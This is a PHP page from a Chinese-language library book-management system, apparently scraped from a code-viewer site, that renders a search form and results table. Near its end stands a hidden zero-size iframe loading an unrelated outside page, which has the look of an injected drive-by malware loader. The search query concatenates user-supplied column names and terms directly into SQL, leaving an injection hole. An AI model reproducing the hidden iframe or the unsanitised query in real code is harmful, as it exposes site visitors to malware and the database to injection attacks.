?? tsgl.php
字號:
<head>
<script language="javascript">
function check_file()
{
var strFileName=myform.name.value;
if (strFileName=="")
{
alert("請點擊查詢后,再進行操作!");
return false;
}
}
</script>
</head>
<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">
<form action="tsglcl.php" method="post" enctype="multipart/form-data" name="myform" id="form1">
<table width="765" border="0" cellspacing="0" class="table">
<tr>
<td width="124" height="50" align="left" class="tabletitle"> 圖書管理</td>
<td width='1' height="50" align="left" class="titlebg"></td>
<td width="440" height="50" align="center" class="tabletitle"><span class="word">按
<?php
echo "<select name='cx'>";
$sql="show columns from books";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
echo "<option value='".$row[0]."'>".$row[0]."</option>";
}
echo "</select>";
?>
查詢
<input name="name" type="text" id="name" />
<input type="submit" name="submit" value="查詢" />
</span></td>
<td width="2" class="titlebg"></td>
<td width="190" align="center" class="tabletitle"><span class="word">
<input name="submit1" type="submit" id="submit1" value="查看" onclick="return check_file()" />
</span><span class="word">
<input name="submit2" type="submit" id="submit2" value="修改" onclick="return check_file()" />
</span><span class="word">
<input name="submit3" type="submit" id="submit3" value="刪除" onclick="return check_file()" />
</span></td>
</tr>
</table>
<table class="table" width="765">
<tr bgcolor="#BCD2E6" height="25">
<td width="50" align="center" class="word">操作</td>
<td width="70" align="center" class="word">編號</td>
<td width="400" align="center" class="word">書 名</td>
<td width="130" align="center" class="word">類 別</td>
<td width="130" align="center" class="word">存放位置</td>
<td width="98" align="center" class="word">狀態</td>
</tr>
<?php //使用子查詢,查詢出選擇的某個類別的某本圖書的信息
if(!empty($_POST["submit"]))
{
$category=$_POST["cx"];
$name=$_POST["name"];
$sql="select * from bookmanagement.books where $category like '%".$_POST["name"]."%'";
//$sql="select * from bookmanagement.books where category in (select category from books where category='$category' and readername like '%".$_POST["readername"]."%')";
$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_array($result))
{
echo "<tr bgcolor='#BCD2E6'>";
echo "<td height='20' align='center' class='word'>";
echo "<input type=radio selected name=selected value=".$row["id"].">";//用來進行修改和刪除的單選框
echo "</td>";
echo "<td height='20' align='center' class='word'>".$row["no"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["bookname"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["category"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["location"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["state"]."</td>";
echo "</tr>";
}
}
?>
</table>
</form>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -